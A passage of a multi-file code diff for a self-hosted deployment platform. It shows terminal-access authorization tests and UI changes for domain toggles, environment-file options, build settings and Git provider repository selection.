it("allows the local host terminal to an owner", async () => {
mockFindMember.mockResolvedValue({ role: "owner" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("allows the local host terminal to an admin", async () => {
mockFindMember.mockResolvedValue({ role: "admin" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("gates a remote server terminal on server access", async () => {
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
// role lookup must not be needed for the remote path
expect(mockFindMember).not.toHaveBeenCalled();
});
});
@@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => {
</Button>
</div>
<Dialog open={showModal} onOpenChange={setShowModal}>
<DialogContent className="max-w-[50vw]">
<DialogContent className="sm:max-w-3xl max-h-[85vh] flex flex-col">
<DialogHeader>
<DialogTitle className="text-2xl font-bold">
Template Information
@@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => {
</DialogDescription>
</DialogHeader>
<div className="flex flex-col gap-6">
<div className="flex flex-col gap-6 flex-1 min-h-0 overflow-y-auto pr-1">
<div className="space-y-4">
<div className="flex items-center gap-2">
<Code2 className="h-5 w-5 text-primary" />
@@ -207,12 +207,14 @@ export const ShowImport = ({ composeId }: Props) => {
Docker Compose
</h3>
</div>
<CodeEditor
language="yaml"
value={templateInfo?.compose || ""}
className="font-mono"
readOnly
/>
<div className="max-h-[45vh] overflow-auto rounded-md border">
<CodeEditor
language="yaml"
value={templateInfo?.compose || ""}
className="font-mono"
readOnly
/>
</div>
</div>
<Separator />
@@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
z.object({
buildType: z.literal(BuildType.nixpacks),
publishDirectory: z.string().optional(),
isStaticSpa: z.boolean().default(false),
}),
z.object({
buildType: z.literal(BuildType.railpack),
@@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
return {
buildType: BuildType.nixpacks,
publishDirectory: data.publishDirectory || undefined,
isStaticSpa: data.isStaticSpa ?? false,
};
case BuildType.paketo_buildpacks:
return {
@@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
const buildType = form.watch("buildType");
const railpackVersion = form.watch("railpackVersion");
const publishDirectory = form.watch("publishDirectory");
const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
useEffect(() => {
@@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
? data.herokuVersion
: null,
isStaticSpa:
data.buildType === BuildType.static ? data.isStaticSpa : null,
data.buildType === BuildType.static ||
data.buildType === BuildType.nixpacks
? data.isStaticSpa
: null,
railpackVersion:
data.buildType === BuildType.railpack
? data.railpackVersion || "0.15.4"
@@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
)}
/>
)}
{buildType === BuildType.nixpacks && publishDirectory && (
<FormField
control={form.control}
name="isStaticSpa"
render={({ field }) => (
<FormItem>
<FormControl>
<div className="flex items-center gap-x-2 p-2">
<Checkbox
id="checkboxIsStaticSpaNixpacks"
value={String(field.value)}
checked={field.value}
onCheckedChange={field.onChange}
/>
<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
Single Page Application (SPA)
</FormLabel>
</div>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
)}
{buildType === BuildType.static && (
<FormField
control={form.control}
@@ -63,6 +63,9 @@ export const ShowDeployments = ({
const [activeLog, setActiveLog] = useState<
RouterOutputs["deployment"]["all"][number] | null
>(null);
const [removingDeploymentIds, setRemovingDeploymentIds] = useState<
Set<string>
>(new Set());
const { data: deployments, isPending: isLoadingDeployments } =
api.deployment.allByType.useQuery(
{
@@ -81,7 +84,7 @@ export const ShowDeployments = ({
api.rollback.rollback.useMutation();
const { mutateAsync: killProcess, isPending: isKillingProcess } =
api.deployment.killProcess.useMutation();
const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } =
const { mutateAsync: removeDeployment } =
api.deployment.removeDeployment.useMutation();
// Cancel deployment mutations
@@ -408,6 +411,11 @@ export const ShowDeployments = ({
description="Are you sure you want to delete this deployment? This action cannot be undone."
type="default"
onClick={async () => {
setRemovingDeploymentIds((deploymentIds) => {
const nextDeploymentIds = new Set(deploymentIds);
nextDeploymentIds.add(deployment.deploymentId);
return nextDeploymentIds;
});
try {
await removeDeployment({
deploymentId: deployment.deploymentId,
@@ -415,13 +423,25 @@ export const ShowDeployments = ({
toast.success("Deployment deleted successfully");
} catch (error) {
toast.error("Error deleting deployment");
} finally {
setRemovingDeploymentIds((deploymentIds) => {
const nextDeploymentIds = new Set(
deploymentIds,
);
nextDeploymentIds.delete(
deployment.deploymentId,
);
return nextDeploymentIds;
});
}
}}
>
<Button
variant="destructive"
size="sm"
isLoading={isRemovingDeployment}
isLoading={removingDeploymentIds.has(
deployment.deploymentId,
)}
>
Delete
<Trash2 className="size-4" />
@@ -14,6 +14,7 @@ import Link from "next/link";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Switch } from "@/components/ui/switch";
import {
Tooltip,
TooltipContent,
@@ -35,7 +36,9 @@ interface ColumnsProps {
validationStates: ValidationStates;
handleValidateDomain: (host: string) => Promise<void>;
handleDeleteDomain: (domainId: string) => Promise<void>;
handleToggleEnable: (domainId: string) => Promise<void>;
isDeleting: boolean;
isToggling: boolean;
serverIp?: string;
canCreateDomain: boolean;
canDeleteDomain: boolean;
@@ -47,7 +50,9 @@ export const createColumns = ({
validationStates,
handleValidateDomain,
handleDeleteDomain,
handleToggleEnable,
isDeleting,
isToggling,
serverIp,
canCreateDomain,
canDeleteDomain,
@@ -209,7 +214,9 @@ export const createColumns = ({
</Badge>
</TooltipTrigger>
<TooltipContent className="max-w-xs">
{validationState?.error ? (
{validationState?.isValid && validationState?.message ? (
<p>{validationState.message}</p>
) : validationState?.error ? (
<div className="flex flex-col gap-1">
<p className="font-medium text-red-500">Error:</p>
<p>{validationState.error}</p>
@@ -247,6 +254,29 @@ export const createColumns = ({
);
},
},
{
id: "status",
header: "Status",
cell: ({ row }) => {
const domain = row.original;
if (!canCreateDomain) {
return (
<Badge variant={domain.enabled ? "outline" : "secondary"}>
{domain.enabled ? "Enabled" : "Disabled"}
</Badge>
);
}
return (
<div className="flex items-center">
<Switch
checked={domain.enabled}
onCheckedChange={() => handleToggleEnable(domain.domainId)}
disabled={isToggling}
/>
</div>
);
},
},
{
id: "actions",
header: "Actions",
@@ -46,6 +46,7 @@ import {
TooltipTrigger,
} from "@/components/ui/tooltip";
import { api } from "@/utils/api";
import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
export type CacheType = "fetch" | "cache";
@@ -300,7 +301,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
})
.then(async () => {
toast.success(dictionary.success);
toast.success(
dictionary.success,
data.domainType === "compose"
? { description: COMPOSE_REDEPLOY_TOAST }
: undefined,
);
if (data.domainType === "application") {
await utils.domain.byApplicationId.invalidate({
@@ -337,12 +343,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
</DialogHeader>
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
{type === "compose" && (
<AlertBlock type="info" className="mb-4">
Whenever you make changes to domains, remember to redeploy your
compose to apply the changes.
</AlertBlock>
)}
{type === "compose" && <ComposeRedeployAlert className="mb-4" />}
<Form {...form}>
<form
@@ -0,0 +1,19 @@
import { AlertBlock } from "@/components/shared/alert-block";
/**
* Domains attached to a compose service are rendered as docker labels and only
* take effect on the next deployment. These strings keep the "redeploy required"
* wording consistent across the add/edit dialog, the domains list and the
* toasts shown after create/update/delete/toggle operations.
*/
export const COMPOSE_REDEPLOY_HINT =
"Whenever you make changes to domains, remember to redeploy your compose to apply the changes.";
export const COMPOSE_REDEPLOY_TOAST =
"Redeploy the compose to apply the changes.";
export const ComposeRedeployAlert = ({ className }: { className?: string }) => (
<AlertBlock type="info" className={className}>
{COMPOSE_REDEPLOY_HINT}
</AlertBlock>
);
@@ -44,6 +44,7 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
import {
Table,
TableBody,
@@ -58,11 +59,13 @@ import {
TooltipProvider,
TooltipTrigger,
} from "@/components/ui/tooltip";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
import { createColumns } from "./columns";
import { DnsHelperModal } from "./dns-helper-modal";
import { AddDomain } from "./handle-domain";
import { HandleForwardAuth } from "./handle-forward-auth";
import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
export type ValidationState = {
isLoading: boolean;
@@ -146,12 +149,34 @@ export const ShowDomains = ({ id, type }: Props) => {
api.domain.validateDomain.useMutation();
const { mutateAsync: deleteDomain, isPending: isRemoving } =
api.domain.delete.useMutation();
const { mutateAsync: toggleEnable, isPending: isToggling } =
api.domain.toggleEnable.useMutation();
const handleToggleEnable = async (domainId: string) => {
try {
const result = await toggleEnable({ domainId });
refetch();
toast.success(
result.enabled ? "Domain enabled" : "Domain disabled",
result.requiresRedeploy
? { description: COMPOSE_REDEPLOY_TOAST }
: undefined,
);
} catch {
toast.error("Error updating the domain");
}
};
const handleDeleteDomain = async (domainId: string) => {
try {
await deleteDomain({ domainId });
refetch();
toast.success("Domain deleted successfully");
toast.success(
"Domain deleted successfully",
type === "compose"
? { description: COMPOSE_REDEPLOY_TOAST }
: undefined,
);
} catch {
toast.error("Error deleting domain");
}
@@ -200,7 +225,9 @@ export const ShowDomains = ({ id, type }: Props) => {
validationStates,
handleValidateDomain,
handleDeleteDomain,
handleToggleEnable,
isDeleting: isRemoving,
isToggling,
serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
canCreateDomain,
canDeleteDomain,
@@ -265,6 +292,11 @@ export const ShowDomains = ({ id, type }: Props) => {
)}
</div>
</CardHeader>
{type === "compose" && data && data.length > 0 && (
<div className="px-6 pb-4">
<ComposeRedeployAlert />
</div>
)}
<CardContent className="flex w-full flex-row gap-4">
{isLoadingDomains ? (
<div className="flex w-full flex-row gap-4 min-h-[40vh] justify-center items-center">
@@ -413,7 +445,10 @@ export const ShowDomains = ({ id, type }: Props) => {
return (
<Card
key={item.domainId}
className="relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit"
className={cn(
"relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit",
!item.enabled && "opacity-60",
)}
>
<CardContent className="p-6">
<div className="flex flex-col gap-4">
@@ -466,18 +501,7 @@ export const ShowDomains = ({ id, type }: Props) => {
description="Are you sure you want to delete this domain?"
type="destructive"
onClick={async () => {
await deleteDomain({
domainId: item.domainId,
})
.then((_data) => {
refetch();
toast.success(
"Domain deleted successfully",
);
})
.catch(() => {
toast.error("Error deleting domain");
});
await handleDeleteDomain(item.domainId);
}}
>
<Button
@@ -492,15 +516,41 @@ export const ShowDomains = ({ id, type }: Props) => {
)}
</div>
</div>
<div className="w-full break-all">
<Link
className="flex items-center gap-2 text-base font-medium hover:underline"
target="_blank"
href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
>
{item.host}
<ExternalLink className="size-4 min-w-4" />
</Link>
<div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
<div className="w-full break-all">
<Link
className="flex items-center gap-2 text-base font-medium hover:underline"
target="_blank"
href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
>
{item.host}
<ExternalLink className="size-4 min-w-4" />
</Link>
</div>
{canCreateDomain && (
<TooltipProvider>
<Tooltip>
<TooltipTrigger asChild>
<div className="flex items-center shrink-0">
<Switch
checked={item.enabled}
onCheckedChange={() =>
handleToggleEnable(item.domainId)
}
disabled={isToggling}
/>
</div>
</TooltipTrigger>
<TooltipContent>
<p>
{item.enabled
? "Domain is active. Toggle to disable routing without deleting it."
: "Domain is disabled and not routed. Toggle to enable it again."}
</p>
</TooltipContent>
</Tooltip>
</TooltipProvider>
)}
</div>
{/* Domain Details */}
@@ -626,7 +676,10 @@ export const ShowDomains = ({ id, type }: Props) => {
</Badge>
</TooltipTrigger>
<TooltipContent className="max-w-xs">
{validationState?.error ? (
{validationState?.isValid &&
validationState?.message ? (
<p>{validationState.message}</p>
) : validationState?.error ? (
<div className="flex flex-col gap-1">
<p className="font-medium text-red-500">
Error:
@@ -5,6 +5,7 @@ import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { CodeEditor } from "@/components/shared/code-editor";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import {
Card,
@@ -16,16 +17,20 @@ import {
import {
Form,
FormControl,
FormDescription,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Switch } from "@/components/ui/switch";
import { Toggle } from "@/components/ui/toggle";
import { api } from "@/utils/api";
import type { ServiceType } from "../advanced/show-resources";
const addEnvironmentSchema = z.object({
environment: z.string(),
createEnvFile: z.boolean(),
});
type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
@@ -54,6 +59,12 @@ export const ShowEnvironment = ({ id, type }: Props) => {
? queryMap[type]()
: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
const [isEnvVisible, setIsEnvVisible] = useState(true);
const completionSource = useEnvCompletionSource({
projectEnv: data?.environment?.project?.env,
environmentEnv: data?.environment?.env,
projectId: data?.environment?.projectId,
environmentId: data?.environment?.environmentId,
});
const mutationMap = {
compose: () => api.compose.saveEnvironment.useMutation(),
@@ -71,18 +82,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
const form = useForm<EnvironmentSchema>({
defaultValues: {
environment: "",
createEnvFile: true,
},
resolver: zodResolver(addEnvironmentSchema),
});
// Watch form value
const currentEnvironment = form.watch("environment");
const hasChanges = currentEnvironment !== (data?.env || "");
const currentCreateEnvFile = form.watch("createEnvFile");
const composeData =
type === "compose"
? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
: undefined;
const showCreateEnvFileToggle =
type === "compose" &&
(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
const hasChanges =
currentEnvironment !== (data?.env || "") ||
(showCreateEnvFileToggle &&
currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
useEffect(() => {
if (data) {
form.reset({
environment: data.env || "",
createEnvFile: composeData?.createEnvFile ?? true,
});
}
}, [data, form]);
@@ -97,6 +122,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
postgresId: id || "",
redisId: id || "",
env: formData.environment,
...(type === "compose" && {
createEnvFile: formData.createEnvFile,
}),
})
.then(async () => {
toast.success("Environments Added");
@@ -110,6 +138,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
const handleCancel = () => {
form.reset({
environment: data?.env || "",
createEnvFile: composeData?.createEnvFile ?? true,
});
};
@@ -176,6 +205,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
} as CSSProperties
}
language="properties"
completionSource={completionSource}
disabled={isEnvVisible}
className="font-mono"
wrapperClassName="compose-file-editor"
@@ -190,6 +220,34 @@ PORT=3000
)}
/>
{showCreateEnvFileToggle && (
<FormField
control={form.control}
name="createEnvFile"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
<div className="space-y-0.5">
<FormLabel>Create Environment File</FormLabel>
<FormDescription>
When enabled, an .env file will be created in the same
directory as your compose file on every deploy.
Disable this to keep a repository-provided .env; the
variables above will then be ignored. Takes effect on
the next deploy.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
disabled={!canWrite}
/>
</FormControl>
</FormItem>
)}
/>
)}
{canWrite && (
<div className="flex flex-row justify-end gap-2">
{hasChanges && (
@@ -3,6 +3,7 @@ import { useEffect } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import { Card } from "@/components/ui/card";
import {
@@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
},
);
const completionSource = useEnvCompletionSource({
projectEnv: data?.environment?.project?.env,
environmentEnv: data?.environment?.env,
projectId: data?.environment?.projectId,
environmentId: data?.environment?.environmentId,
});
const form = useForm<EnvironmentSchema>({
defaultValues: {
env: "",
@@ -60,14 +68,16 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
const currentBuildArgs = form.watch("buildArgs");
const currentBuildSecrets = form.watch("buildSecrets");
const currentCreateEnvFile = form.watch("createEnvFile");
const { isDirty } = form.formState;
const hasChanges =
currentEnv !== (data?.env || "") ||
currentBuildArgs !== (data?.buildArgs || "") ||
currentBuildSecrets !== (data?.buildSecrets || "") ||
currentCreateEnvFile !== (data?.createEnvFile ?? true);
// Skip reset while editing so background refetches don't wipe edits
useEffect(() => {
if (data) {
if (data && !isDirty) {
form.reset({
env: data.env || "",
buildArgs: data.buildArgs || "",
@@ -75,7 +85,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
createEnvFile: data.createEnvFile ?? true,
});
}
}, [data, form]);
}, [data, isDirty, form]);
const onSubmit = async (formData: EnvironmentSchema) => {
mutateAsync({
@@ -87,6 +97,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
})
.then(async () => {
toast.success("Environments Added");
form.reset(formData);
await refetch();
})
.catch(() => {
@@ -139,6 +150,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
completionSource={completionSource}
/>
{data?.buildType === "dockerfile" && (
<Secrets
@@ -160,6 +172,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder="NPM_TOKEN=xyz"
completionSource={completionSource}
/>
)}
{data?.buildType === "dockerfile" && (
@@ -182,6 +195,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder="NPM_TOKEN=xyz"
completionSource={completionSource}
/>
)}
{data?.buildType === "dockerfile" && (
@@ -188,6 +188,9 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -196,7 +199,6 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -245,7 +247,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -254,14 +256,19 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -281,7 +288,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -292,8 +299,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -301,7 +308,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -333,7 +341,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -348,7 +356,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -376,7 +387,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -436,14 +447,18 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -491,14 +506,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -242,14 +242,18 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -298,14 +302,14 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -201,6 +201,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<FormLabel>Gitea Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -208,7 +211,6 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -258,7 +260,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -268,14 +270,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
? "Loading...."
: (repositories?.find(
(repo: GiteaRepository) =>
repo.name === field.value.repo,
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -301,7 +307,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
{repositories?.map((repo: GiteaRepository) => {
return (
<CommandItem
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -311,8 +317,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -320,7 +328,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username ===
field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -353,7 +363,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -369,7 +379,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -400,7 +413,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -464,14 +477,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
<X
className="size-3 cursor-pointer hover:text-destructive"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
/>
>
<X className="size-3 cursor-pointer hover:text-destructive" />
</button>
</Badge>
))}
</div>
@@ -518,14 +535,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -47,6 +47,7 @@ import {
} from "@/components/ui/tooltip";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
const GithubProviderSchema = z.object({
buildPath: z.string().min(1, "Path is required").default("/"),
@@ -96,6 +97,11 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
const repository = form.watch("repository");
const githubId = form.watch("githubId");
// Enterprise repositories do not live on github.com.
const providerUrl =
githubProviders?.find((provider) => provider.githubId === githubId)
?.githubUrl ?? DEFAULT_GITHUB_URL;
const triggerType = form.watch("triggerType");
const { data: repositories, isPending: isLoadingRepositories } =
@@ -177,6 +183,9 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<FormLabel>Github Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -189,7 +198,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
>
<FormControl>
<SelectTrigger>
<SelectValue placeholder="Select a Github Account" />
<SelectValue placeholder="Select a Github Account">
{
githubProviders?.find(
(githubProvider) =>
githubProvider.githubId === field.value,
)?.gitProvider.name
}
</SelectValue>
</SelectTrigger>
</FormControl>
<SelectContent>
@@ -217,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<FormLabel>Repository</FormLabel>
{field.value.owner && field.value.repo && (
<Link
href={`https://github.com/${field.value.owner}/${field.value.repo}`}
href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
target="_blank"
rel="noopener noreferrer"
className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
@@ -233,7 +249,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -242,14 +258,19 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
(repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -269,7 +290,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.login}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -279,8 +300,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.login}
</span>
